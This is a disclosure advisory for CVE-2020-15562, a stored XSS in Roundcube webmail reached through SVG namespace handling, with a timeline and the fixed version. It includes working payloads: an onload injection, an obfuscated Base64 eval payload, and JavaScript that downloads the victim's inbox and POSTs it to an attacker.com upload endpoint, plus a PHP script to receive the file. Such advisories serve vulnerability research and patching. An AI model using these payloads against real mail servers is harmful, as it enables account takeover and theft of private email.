[CVE-2020-15562] Roundcube 1.3.9 — Stored XSS in received emails

Andrea Cardaci — 21 July 2020

   
Discovered 2019-05-01
Author Andrea Cardaci
Product Roundcube
Tested versions 1.3.8
  1.3.9
  1.4-git (current master)
CVE CVE-2020-15562

Abstract

The Roundcube webmail application displays HTML messages after a sanitization process that leaves only some nodes and attributes. An input sanitization vulnerability that can be exploited to perform stored cross-site scripting (XSS) attacks has been discovered in how Roundcube handles SVG namespaces.

A remote attacker can send a specially crafted email containing malicious HTML and execute arbitrary JavaScript code in the context of the vulnerable web application when the user displays the message. This allows to impersonate the victims and access the webmail features on their behalf.

Details

Roundcube uses a custom version of Washtml (a HTML sanitizer) to display untrusted HTML in email messages. One of the modifications adds the SVG support1, in particular, an exception has been added in rcube_washtml.php for the svg tag to properly handle XML namespaces (dumpHtml function):

if ($tagName == 'svg') {
    $xpath = new DOMXPath($node->ownerDocument);
    foreach ($xpath->query('namespace::*') as $ns) {
        if ($ns->nodeName != 'xmlns:xml') {
            $dump .= ' ' . $ns->nodeName . '="' . $ns->nodeValue . '"';
        }
    }
}

This snippet uses an XPath query to list and add all the non-default XML namespaces of the root element of the HTML message to the svg tag as attributes. The vulnerable part here is that $ns->nodeName and $ns->nodeValue values are added to $dump without proper sanitization (e.g., htmlspecialchars).

Exploit

There are a number of things to consider in order to manage to successfully inject arbitrary HTML code.

First, if the HTML message lacks the head tag (or alternatively a meta specifying the charset, in newer releases) then Roundcube appends a default preamble to the message; this is undesirable as the goal is to control the root element. (Also note that the svg tag itself cannot be the root element.)

Second, when at least one svg tag is present (and the <html string is not) the message is parsed using DOMDocument::loadXML2 and that requires a valid XML document.

Finally, by taking into account that DOMDocument::loadXML decodes any HTML entity during the parsing, it is possible to use &quot; to escape the hard coded double quotes in the above snippet and &lt;/&gt; to escape the svg element altogether.

Since the namespaces are added to the svg tag, a simple way to exploit this vulnerability is to use the onload event:

<head xmlns="&quot; onload=&quot;alert(document.domain)"><svg></svg></head>

The resulting HTML is:

<svg xmlns="" onload="alert(document.domain)" />

It is likewise possible to escape the svg tag entirely and inject a script tag:

<head xmlns="&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;"><svg></svg></head>

The resulting HTML is:

<svg xmlns=""><script>alert(document.domain)</script>" />

PoC: exfiltrate the whole inbox

Possibly one of the most effective ways to demonstrate the impact of this vulnerability is to exploit the zipdownload plugin (enabled by default) to fetch the whole inbox3 as a zipped MBOX file then upload it to a web server controlled by the attacker via a POST request:

(async () => {
    const uploadEndpoint = 'http://attacker.com:8080/upload.php';

    // download the whole inbox as a zip file
    const response = await fetch('?_task=mail&_action=plugin.zipdownload.messages', {
        method: 'POST',
        credentials: 'include',
        headers: {
            'content-type': 'application/x-www-form-urlencoded'
        },
        body: `_mbox=INBOX&_uid=*&_mode=mbox&_token=${rcmail.env.request_token}`
    });

    // prepare the upload form
    const formData = new FormData();
    const inboxZip = await response.blob();
    formData.append('inbox', inboxZip, 'INBOX.mbox.zip');

    // send the zip file to the attacker
    return fetch(uploadEndpoint, {
        method: 'POST',
        mode: 'no-cors',
        body: formData
    });
})();

To avoid using HTML entities for & it is possible to encode everything with Base64. The final payload becomes:

<head xmlns="&quot; onload=&quot;eval(atob('KGFzeW5jKCk9Pntjb25zdCB1cGxvYWRFbmRwb2ludD0iaHR0cDovL2F0dGFja2VyLmNvbTo4MDgwL3VwbG9hZC5waHAiO2NvbnN0IHJlc3BvbnNlPWF3YWl0IGZldGNoKCI/X3Rhc2s9bWFpbCZfYWN0aW9uPXBsdWdpbi56aXBkb3dubG9hZC5tZXNzYWdlcyIse21ldGhvZDoiUE9TVCIsY3JlZGVudGlhbHM6ImluY2x1ZGUiLGhlYWRlcnM6eyJjb250ZW50LXR5cGUiOiJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQifSxib2R5OmBfbWJveD1JTkJPWCZfdWlkPSomX21vZGU9bWJveCZfdG9rZW49JHtyY21haWwuZW52LnJlcXVlc3RfdG9rZW59YH0pO2NvbnN0IGZvcm1EYXRhPW5ldyBGb3JtRGF0YTtjb25zdCBpbmJveFppcD1hd2FpdCByZXNwb25zZS5ibG9iKCk7Zm9ybURhdGEuYXBwZW5kKCJpbmJveCIsaW5ib3haaXAsIklOQk9YLm1ib3guemlwIik7cmV0dXJuIGZldGNoKHVwbG9hZEVuZHBvaW50LHttZXRob2Q6IlBPU1QiLG1vZGU6Im5vLWNvcnMiLGJvZHk6Zm9ybURhdGF9KX0pKCk7Cg=='))"><svg></svg></head>

The POST request can be easily received by the built-in PHP web server, for example create an upload.php file with:

<?php
$file = $_FILES['inbox'];
move_uploaded_file($file['tmp_name'], $file['name']);

Then start the server with:

$ php -S 0.0.0.0:8080

If the XSS successfully triggers then a INBOX.mbox.zip file is created in the current directory.

Tune the message appearance

As said before the whole email message must be a valid XML document. If needed, additional content must be placed before the svg tag which can also be hidden, for example:

<head xmlns="&quot; onload=&quot;alert(document.domain)">

  Hello victim!

  <svg style="display:none"></svg>
</head>

Timeline

2019-05-01
First contact with SecuriTeam Secure Disclosure (SSD).
2019-06-05
Disclosure via the SSD program.
2019-06-25
SSD grants the reward.
2020-07-05
The vendor fixes the issue in version 1.4.7.
2020-07-21
SSD publishes the advisory.
  1. Introduced in commit a1fdb205f824dee7fd42dda739f207abc85ce158

  2. In the above snippet $node is an instance of DOMNode

  3. The _uid POST field can also be an array thus allowing to exfiltrate the inbox in chunks.